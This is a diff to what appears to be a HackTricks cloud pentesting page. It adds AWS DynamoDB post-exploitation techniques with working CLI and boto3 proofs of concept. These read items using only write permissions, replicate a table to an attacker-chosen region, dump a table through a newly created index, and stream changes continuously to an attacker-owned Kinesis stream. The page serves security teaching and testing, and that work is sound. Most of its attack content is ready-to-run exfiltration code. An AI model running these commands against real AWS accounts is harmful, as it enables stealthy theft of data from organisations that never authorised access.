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dynamoDB attacks recheck

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src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
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@@ -346,8 +346,252 @@ aws dynamodbstreams get-records \
**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
{{#include ../../../banners/hacktricks-training.md}}
### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
An attacker with only `dynamodb:UpdateItem` on a table can read items without any of the usual read permissions (`GetItem`/`Query`/`Scan`) by performing a benign update and requesting `--return-values ALL_OLD`. DynamoDB will return the full pre-update image of the item in the `Attributes` field of the response (this does not consume RCUs).
- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
- Prerequisites: You must know the item's primary key.
Example (adds a harmless attribute and exfiltrates the previous item in the response):
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
```
The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access.
**Potential Impact:** Read arbitrary items from a table with only write permissions, enabling sensitive data exfiltration when primary keys are known.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Stealth exfiltration by adding a new replica Region to a DynamoDB Global Table (version 2019.11.21). If a principal can add a regional replica, the whole table is replicated to the attacker-chosen Region, from which the attacker can read all items.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
```bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
```
{{#endtab }}
{{#tab name="PoC (customer-managed KMS)" }}
```bash
# Specify the CMK to use in the replica Region
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
--region <primary-region>
```
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
An attacker with transactional write privileges can exfiltrate the full attributes of an existing item by performing an `Update` inside `TransactWriteItems` that intentionally fails a `ConditionExpression` while setting `ReturnValuesOnConditionCheckFailure=ALL_OLD`. On failure, DynamoDB includes the prior attributes in the transaction cancellation reasons, effectively turning write-only access into read access of targeted keys.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
```bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
```
{{#endtab }}
{{#tab name="PoC (boto3)" }}
```python
import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
c.transact_write_items(TransactItems=[{ 'Update': {
'TableName':'<TableName>',
'Key':{'<PKName>':{'S':'<PKValue>'}},
'UpdateExpression':'SET #m = :v',
'ExpressionAttributeNames':{'#m':'marker'},
'ExpressionAttributeValues':{':v':{'S':'x'}},
'ConditionExpression':'attribute_not_exists(<PKName>)',
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
print(e.response['CancellationReasons'][0]['Item'])
```
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
Bypass read restrictions by creating a Global Secondary Index (GSI) with `ProjectionType=ALL` on a low-entropy attribute, set that attribute to a constant value across items, then `Query` the index to retrieve full items. This works even if `Query`/`Scan` on the base table is denied, as long as you can query the index ARN.
- Minimum permissions:
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Steps (PoC in us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Potential Impact:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
Abusing DynamoDB Kinesis streaming destinations to continuously exfiltrate changes from a table into an attacker-controlled Kinesis Data Stream. Once enabled, every INSERT/MODIFY/REMOVE event is forwarded near real-time to the stream without needing read permissions on the table.
Minimum permissions (attacker):
- `dynamodb:EnableKinesisStreamingDestination` on the target table
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
<details>
<summary>PoC (us-east-1)</summary>
```bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
</details>
**Potential Impact:** Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table.
{{#include ../../../banners/hacktricks-training.md}}